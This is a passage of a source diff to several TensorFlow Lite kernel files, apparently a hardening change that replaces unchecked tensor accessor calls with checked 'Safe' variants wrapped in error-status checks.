 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   switch (input1->type) {
     case kTfLiteInt32: {
diff --git a/tensorflow/lite/kernels/fully_connected.cc b/tensorflow/lite/kernels/fully_connected.cc
index 9cbbcae9c51291..1ba3932b476b3c 100644
--- a/tensorflow/lite/kernels/fully_connected.cc
+++ b/tensorflow/lite/kernels/fully_connected.cc
@@ -155,13 +155,18 @@ TfLiteStatus PrepareImpl(TfLiteContext* context, TfLiteNode* node) {
                                                                           : 2;
   TF_LITE_ENSURE_EQ(context, node->outputs->size, expected_outputs_count);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* filter = GetInput(context, node, kWeightsTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* filter;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kWeightsTensor, &filter));
   const TfLiteTensor* bias =
       (node->inputs->size == 3)
           ? GetOptionalInputTensor(context, node, kBiasTensor)
           : nullptr;
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // Check proper datatype match among all Input Tensors
   TF_LITE_ENSURE_STATUS(
@@ -214,7 +219,9 @@ TfLiteStatus PrepareImpl(TfLiteContext* context, TfLiteNode* node) {
     node->temporaries = TfLiteIntArrayCreate(5);
     node->temporaries->data[0] = data->scratch_tensor_index;
 
-    TfLiteTensor* input_quantized = GetTemporary(context, node, /*index=*/0);
+    TfLiteTensor* input_quantized;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/0,
+                                                &input_quantized));
     input_quantized->type = filter->type;
     input_quantized->allocation_type = kTfLiteArenaRw;
 
@@ -223,7 +230,9 @@ TfLiteStatus PrepareImpl(TfLiteContext* context, TfLiteNode* node) {
                                                      input_quantized_size));
 
     node->temporaries->data[1] = data->scratch_tensor_index + 1;
-    TfLiteTensor* scaling_factors = GetTemporary(context, node, /*index=*/1);
+    TfLiteTensor* scaling_factors;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/1,
+                                                &scaling_factors));
     scaling_factors->type = kTfLiteFloat32;
     scaling_factors->allocation_type = kTfLiteArenaRw;
 
@@ -236,7 +245,9 @@ TfLiteStatus PrepareImpl(TfLiteContext* context, TfLiteNode* node) {
     }
 
     node->temporaries->data[2] = data->scratch_tensor_index + 2;
-    TfLiteTensor* accum_scratch = GetTemporary(context, node, /*index=*/2);
+    TfLiteTensor* accum_scratch;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/2, &accum_scratch));
     accum_scratch->type = kTfLiteInt32;
     accum_scratch->allocation_type = kTfLiteArenaRw;
     int accum_scratch_dims[2] = {num_units, batch_size};
@@ -250,7 +261,9 @@ TfLiteStatus PrepareImpl(TfLiteContext* context, TfLiteNode* node) {
     }
 
     node->temporaries->data[3] = data->scratch_tensor_index + 3;
-    TfLiteTensor* input_offsets = GetTemporary(context, node, /*index=*/3);
+    TfLiteTensor* input_offsets;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/3, &input_offsets));
     input_offsets->type = kTfLiteInt32;
     input_offsets->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(input_offsets->dims, 1, scaling_dims)) {
@@ -260,7 +273,9 @@ TfLiteStatus PrepareImpl(TfLiteContext* context, TfLiteNode* node) {
                                                        input_offsets_size));
     }
     node->temporaries->data[4] = data->scratch_tensor_index + 4;
-    TfLiteTensor* row_sums = GetTemporary(context, node, /*index=*/4);
+    TfLiteTensor* row_sums;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, /*index=*/4, &row_sums));
     row_sums->type = kTfLiteInt32;
     row_sums->allocation_type = kTfLiteArenaRwPersistent;
     int row_sums_dims[1] = {num_units};
@@ -300,8 +315,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // Check for supported activation types.
   auto* params =
       reinterpret_cast<TfLiteFullyConnectedParams*>(node->builtin_data);
-  const TfLiteTensor* filter = GetInput(context, node, kWeightsTensor);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* filter;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kWeightsTensor, &filter));
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   const bool is_quantized =
       ((filter->type == kTfLiteUInt8) || (filter->type == kTfLiteInt8));
   const bool is_hybrid = is_quantized && (input->type == kTfLiteFloat32);
@@ -484,11 +502,21 @@ TfLiteStatus EvalQuantized(TfLiteContext* context, TfLiteNode* node,
   int32_t output_offset = output->params.zero_point;
   // Only the Pie path supports quantized models and float inputs/outputs.
   if (input->type == kTfLiteFloat32) {
-    TfLiteTensor* input_quantized = GetTemporary(context, node, /*index=*/0);
-    TfLiteTensor* scaling_factors = GetTemporary(context, node, /*index=*/1);
-    TfLiteTensor* accum_scratch = GetTemporary(context, node, /*index=*/2);
-    TfLiteTensor* input_offsets = GetTemporary(context, node, /*index=*/3);
-    TfLiteTensor* row_sums = GetTemporary(context, node, /*index=*/4);
+    TfLiteTensor* input_quantized;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/0,
+                                                &input_quantized));
+    TfLiteTensor* scaling_factors;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/1,
+                                                &scaling_factors));
+    TfLiteTensor* accum_scratch;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/2, &accum_scratch));
+    TfLiteTensor* input_offsets;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/3, &input_offsets));
+    TfLiteTensor* row_sums;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, /*index=*/4, &row_sums));
     return EvalHybrid(context, node, params, data, input, filter, bias,
                       input_quantized, scaling_factors, accum_scratch, row_sums,
                       input_offsets, output);
@@ -693,13 +721,18 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
       reinterpret_cast<TfLiteFullyConnectedParams*>(node->builtin_data);
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* filter = GetInput(context, node, kWeightsTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* filter;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kWeightsTensor, &filter));
   const TfLiteTensor* bias =
       (node->inputs->size == 3)
           ? GetOptionalInputTensor(context, node, kBiasTensor)
           : nullptr;
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   switch (filter->type) {
     case kTfLiteFloat32:
@@ -708,8 +741,10 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
     case kTfLiteUInt8:
       if (params->weights_format ==
           kTfLiteFullyConnectedWeightsFormatShuffled4x16Int8) {
-        TfLiteTensor* shuffled_input_workspace =
-            GetOutput(context, node, kShuffledInputWorkspaceTensor);
+        TfLiteTensor* shuffled_input_workspace;
+        TF_LITE_ENSURE_OK(
+            context, GetOutputSafe(context, node, kShuffledInputWorkspaceTensor,
+                                   &shuffled_input_workspace));
         return EvalShuffledQuantized<kernel_type>(context, node, params, data,
                                                   input, filter, bias, output,
                                                   shuffled_input_workspace);
diff --git a/tensorflow/lite/kernels/gather.cc b/tensorflow/lite/kernels/gather.cc
index 01a1e2a8a17372..7ec53edb062741 100644
--- a/tensorflow/lite/kernels/gather.cc
+++ b/tensorflow/lite/kernels/gather.cc
@@ -38,9 +38,14 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
   const auto* params =
       reinterpret_cast<const TfLiteGatherParams*>(node->builtin_data);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* positions = GetInput(context, node, kInputPositions);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* positions;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputPositions, &positions));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   switch (positions->type) {
     case kTfLiteInt64:
@@ -132,9 +137,14 @@ TfLiteStatus GatherStrings(TfLiteContext* context, const TfLiteTensor* input,
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   const auto* params =
       reinterpret_cast<const TfLiteGatherParams*>(node->builtin_data);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* positions = GetInput(context, node, kInputPositions);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* positions;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputPositions, &positions));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (positions->type == kTfLiteInt32) {
     switch (input->type) {
diff --git a/tensorflow/lite/kernels/gather_nd.cc b/tensorflow/lite/kernels/gather_nd.cc
index fd31b8c4ddd709..836a9ffd450414 100644
--- a/tensorflow/lite/kernels/gather_nd.cc
+++ b/tensorflow/lite/kernels/gather_nd.cc
@@ -33,9 +33,13 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* params = GetInput(context, node, kParams);
-  const TfLiteTensor* indices = GetInput(context, node, kIndices);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* params;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kParams, &params));
+  const TfLiteTensor* indices;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kIndices, &indices));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   switch (params->type) {
     case kTfLiteFloat32:
@@ -140,9 +144,13 @@ TfLiteStatus EvalGatherNd(TfLiteContext* context, const TfLiteTensor* params,
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* params = GetInput(context, node, kParams);
-  const TfLiteTensor* indices = GetInput(context, node, kIndices);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* params;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kParams, &params));
+  const TfLiteTensor* indices;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kIndices, &indices));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   switch (indices->type) {
     case kTfLiteInt32:
diff --git a/tensorflow/lite/kernels/hashtable_lookup.cc b/tensorflow/lite/kernels/hashtable_lookup.cc
index 65e50fe41c2331..2563d8ade5f74e 100644
--- a/tensorflow/lite/kernels/hashtable_lookup.cc
+++ b/tensorflow/lite/kernels/hashtable_lookup.cc
@@ -37,6 +37,7 @@ limitations under the License.
 #include <cstring>
 
 #include "tensorflow/lite/c/common.h"
+#include "tensorflow/lite/kernels/internal/compatibility.h"
 #include "tensorflow/lite/kernels/kernel_util.h"
 #include "tensorflow/lite/string_util.h"
 
@@ -54,15 +55,18 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 3);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 2);
 
-  const TfLiteTensor* lookup = GetInput(context, node, 0);
+  const TfLiteTensor* lookup;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &lookup));
   TF_LITE_ENSURE_EQ(context, NumDimensions(lookup), 1);
   TF_LITE_ENSURE_EQ(context, lookup->type, kTfLiteInt32);
 
-  const TfLiteTensor* key = GetInput(context, node, 1);
+  const TfLiteTensor* key;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &key));
   TF_LITE_ENSURE_EQ(context, NumDimensions(key), 1);
   TF_LITE_ENSURE_EQ(context, key->type, kTfLiteInt32);
 
-  const TfLiteTensor* value = GetInput(context, node, 2);
+  const TfLiteTensor* value;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 2, &value));
   TF_LITE_ENSURE(context, NumDimensions(value) >= 1);
   TF_LITE_ENSURE_EQ(context, SizeOfDimension(key, 0),
                     SizeOfDimension(value, 0));
@@ -70,12 +74,14 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     TF_LITE_ENSURE_EQ(context, NumDimensions(value), 1);
   }
 
-  TfLiteTensor* hits = GetOutput(context, node, 1);
+  TfLiteTensor* hits;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 1, &hits));
   TF_LITE_ENSURE_EQ(context, hits->type, kTfLiteUInt8);
   TfLiteIntArray* hitSize = TfLiteIntArrayCreate(1);
   hitSize->data[0] = SizeOfDimension(lookup, 0);
 
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   TF_LITE_ENSURE_EQ(context, value->type, output->type);
 
   TfLiteStatus status = kTfLiteOk;
@@ -94,11 +100,16 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  TfLiteTensor* output = GetOutput(context, node, 0);
-  TfLiteTensor* hits = GetOutput(context, node, 1);
-  const TfLiteTensor* lookup = GetInput(context, node, 0);
-  const TfLiteTensor* key = GetInput(context, node, 1);
-  const TfLiteTensor* value = GetInput(context, node, 2);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
+  TfLiteTensor* hits;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 1, &hits));
+  const TfLiteTensor* lookup;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &lookup));
+  const TfLiteTensor* key;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &key));
+  const TfLiteTensor* value;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 2, &value));
 
   const int num_rows = SizeOfDimension(value, 0);
   const int row_bytes = value->bytes / num_rows;
diff --git a/tensorflow/lite/kernels/if.cc b/tensorflow/lite/kernels/if.cc
index 4c39a07bf8b9d9..7099442ced709c 100644
--- a/tensorflow/lite/kernels/if.cc
+++ b/tensorflow/lite/kernels/if.cc
@@ -22,6 +22,7 @@ limitations under the License.
 #include "tensorflow/lite/c/builtin_op_data.h"
 #include "tensorflow/lite/c/common.h"
 #include "tensorflow/lite/core/subgraph.h"
+#include "tensorflow/lite/kernels/internal/compatibility.h"
 #include "tensorflow/lite/kernels/kernel_util.h"
 
 namespace tflite {
@@ -52,7 +53,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE(context, node->inputs->size > 0);
 
   // The first input is the condition.
-  const TfLiteTensor* cond = GetInput(context, node, 0);
+  const TfLiteTensor* cond;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &cond));
   // Currently only bool is supported.
   // TODO(ycling): Support other types since TensorFlow also support
   // non-bool types as condition.
@@ -83,7 +85,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     for (int i = 0; i < num_inputs; ++i) {
       // The first input of the node is the condition. The indices of the inputs
       // passed to the subgraphs are offset by 1.
-      const TfLiteTensor* input = GetInput(context, node, i + 1);
+      const TfLiteTensor* input;
+      TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, i + 1, &input));
       std::vector<int> dims(input->dims->data,
                             input->dims->data + input->dims->size);
       subgraph->ResizeInputTensor(i, dims);
@@ -113,7 +116,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   }
 
   for (int i = 0; i < num_outputs; ++i) {
-    TfLiteTensor* output = GetOutput(context, node, i);
+    TfLiteTensor* output;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i, &output));
     if (has_dynamic_output_tensors) {
       SetTensorToDynamic(output);
     } else {
@@ -133,7 +137,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   const OpData* op_data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* cond = GetInput(context, node, 0);
+  const TfLiteTensor* cond;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &cond));
   bool cond_value = cond->data.b[0];
 
   Subgraph* this_subgraph = reinterpret_cast<Subgraph*>(context->impl_);
@@ -147,7 +152,8 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   Subgraph& active_branch_subgraph =
       *(*subgraphs)[active_branch_subgraph_index];
   for (int i = 0; i < active_branch_subgraph.inputs().size(); ++i) {
-    const TfLiteTensor* input = GetInput(context, node, i + 1);
+    const TfLiteTensor* input;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, i + 1, &input));
     TfLiteTensor* subgraph_input =
         active_branch_subgraph.tensor(active_branch_subgraph.inputs()[i]);
     TF_LITE_ENSURE_EQ(context, input->bytes, subgraph_input->bytes);
@@ -164,7 +170,8 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
 
   bool has_dynamic_output_tensors = false;
   for (int i = 0; i < node->outputs->size; ++i) {
-    TfLiteTensor* output = GetOutput(context, node, i);
+    TfLiteTensor* output;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i, &output));
     if (IsDynamicTensor(output)) {
       has_dynamic_output_tensors = true;
       break;
@@ -173,7 +180,8 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
 
   if (has_dynamic_output_tensors) {
     for (int i = 0; i < node->outputs->size; ++i) {
-      TfLiteTensor* output = GetOutput(context, node, i);
+      TfLiteTensor* output;
+      TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i, &output));
       TfLiteTensor* subgraph_output =
           active_branch_subgraph.tensor(active_branch_subgraph.outputs()[i]);
       TfLiteIntArray* output_size = TfLiteIntArrayCopy(subgraph_output->dims);
@@ -185,7 +193,8 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   for (int i = 0; i < active_branch_subgraph.outputs().size(); ++i) {
     const TfLiteTensor* subgraph_output =
         active_branch_subgraph.tensor(active_branch_subgraph.outputs()[i]);
-    TfLiteTensor* output = GetOutput(context, node, i);
+    TfLiteTensor* output;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i, &output));
     TF_LITE_ENSURE_EQ(context, output->bytes, subgraph_output->bytes);
     memcpy(output->data.raw, subgraph_output->data.raw, output->bytes);
   }
diff --git a/tensorflow/lite/kernels/l2norm.cc b/tensorflow/lite/kernels/l2norm.cc
index 857ef62a155977..d809518f9e86f0 100644
--- a/tensorflow/lite/kernels/l2norm.cc
+++ b/tensorflow/lite/kernels/l2norm.cc
@@ -44,8 +44,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE(context, NumDimensions(input) <= 4);
 
@@ -74,8 +77,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
 template <KernelType kernel_type>
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // TODO(b/143912164): instead of hardcode the epsilon here, we should read it
   // from tensorflow, i.e., adding a params.
diff --git a/tensorflow/lite/kernels/local_response_norm.cc b/tensorflow/lite/kernels/local_response_norm.cc
index ed9643659208dd..102882139152ac 100644
--- a/tensorflow/lite/kernels/local_response_norm.cc
+++ b/tensorflow/lite/kernels/local_response_norm.cc
@@ -39,8 +39,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_EQ(context, NumDimensions(input), 4);
 
@@ -61,8 +64,11 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params =
       reinterpret_cast<TfLiteLocalResponseNormParams*>(node->builtin_data);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (output->type == kTfLiteFloat32) {
 #define TF_LITE_LOCAL_RESPONSE_NORM(type)                            \
diff --git a/tensorflow/lite/kernels/logical.cc b/tensorflow/lite/kernels/logical.cc
index a703f3f5358ff9..9688682c282538 100644
--- a/tensorflow/lite/kernels/logical.cc
+++ b/tensorflow/lite/kernels/logical.cc
@@ -54,9 +54,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // Reinterprete the opaque data provided by user.
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_TYPES_EQ(context, input1->type, input2->type);
 
@@ -84,9 +90,15 @@ TfLiteStatus LogicalImpl(TfLiteContext* context, TfLiteNode* node,
                          bool (*func)(bool, bool)) {
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (data->requires_broadcast) {
     reference_ops::BroadcastBinaryFunction4DSlow<bool, bool, bool>(
diff --git a/tensorflow/lite/kernels/lsh_projection.cc b/tensorflow/lite/kernels/lsh_projection.cc
index b809748c59ca82..81f97ecf9a9ce7 100644
--- a/tensorflow/lite/kernels/lsh_projection.cc
+++ b/tensorflow/lite/kernels/lsh_projection.cc
@@ -73,22 +73,26 @@ TfLiteStatus Resize(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE(context, NumInputs(node) == 2 || NumInputs(node) == 3);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* hash = GetInput(context, node, 0);
+  const TfLiteTensor* hash;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &hash));
   TF_LITE_ENSURE_EQ(context, NumDimensions(hash), 2);
   // Support up to 32 bits.
   TF_LITE_ENSURE(context, SizeOfDimension(hash, 1) <= 32);
 
-  const TfLiteTensor* input = GetInput(context, node, 1);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &input));
   TF_LITE_ENSURE(context, NumDimensions(input) >= 1);
 
   if (NumInputs(node) == 3) {
-    const TfLiteTensor* weight = GetInput(context, node, 2);
+    const TfLiteTensor* weight;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 2, &weight));
     TF_LITE_ENSURE_EQ(context, NumDimensions(weight), 1);
     TF_LITE_ENSURE_EQ(context, SizeOfDimension(weight, 0),
                       SizeOfDimension(input, 0));
   }
 
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   TfLiteIntArray* outputSize = TfLiteIntArrayCreate(1);
   switch (params->type) {
     case kTfLiteLshProjectionSparse:
@@ -170,9 +174,13 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params =
       reinterpret_cast<TfLiteLSHProjectionParams*>(node->builtin_data);
 
-  int32_t* out_buf = GetOutput(context, node, 0)->data.i32;
-  const TfLiteTensor* hash = GetInput(context, node, 0);
-  const TfLiteTensor* input = GetInput(context, node, 1);
+  TfLiteTensor* out_tensor;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &out_tensor));
+  int32_t* out_buf = out_tensor->data.i32;
+  const TfLiteTensor* hash;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &hash));
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &input));
   const TfLiteTensor* weight =
       NumInputs(node) == 2 ? nullptr : GetInput(context, node, 2);
 
diff --git a/tensorflow/lite/kernels/lstm.cc b/tensorflow/lite/kernels/lstm.cc
index 6d67f759ce8afd..3eb26565bc2e45 100644
--- a/tensorflow/lite/kernels/lstm.cc
+++ b/tensorflow/lite/kernels/lstm.cc
@@ -149,7 +149,9 @@ TfLiteStatus PopulateQuantizedLstmParams8x8_16(
   const TfLiteTensor* cell_state =
       GetVariableInput(context, node, kCellStateTensor);
   TF_LITE_ENSURE(context, cell_state != nullptr);
-  const TfLiteTensor* output_tensor = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output_tensor;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node, kOutputTensor, &output_tensor));
 
   auto* cell_state_params =
       static_cast<TfLiteAffineQuantization*>(cell_state->quantization.params);
@@ -173,25 +175,38 @@ TfLiteStatus PopulateQuantizedLstmParams8x8_16(
   OpData* op_data = static_cast<OpData*>(node->user_data);
   const bool use_layer_norm = op_data->use_layer_norm;
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
 
   const TfLiteTensor* input_to_input_weights =
       GetOptionalInputTensor(context, node, kInputToInputWeightsTensor);
-  const TfLiteTensor* input_to_forget_weights =
-      GetInput(context, node, kInputToForgetWeightsTensor);
-  const TfLiteTensor* input_to_cell_weights =
-      GetInput(context, node, kInputToCellWeightsTensor);
-  const TfLiteTensor* input_to_output_weights =
-      GetInput(context, node, kInputToOutputWeightsTensor);
+  const TfLiteTensor* input_to_forget_weights;
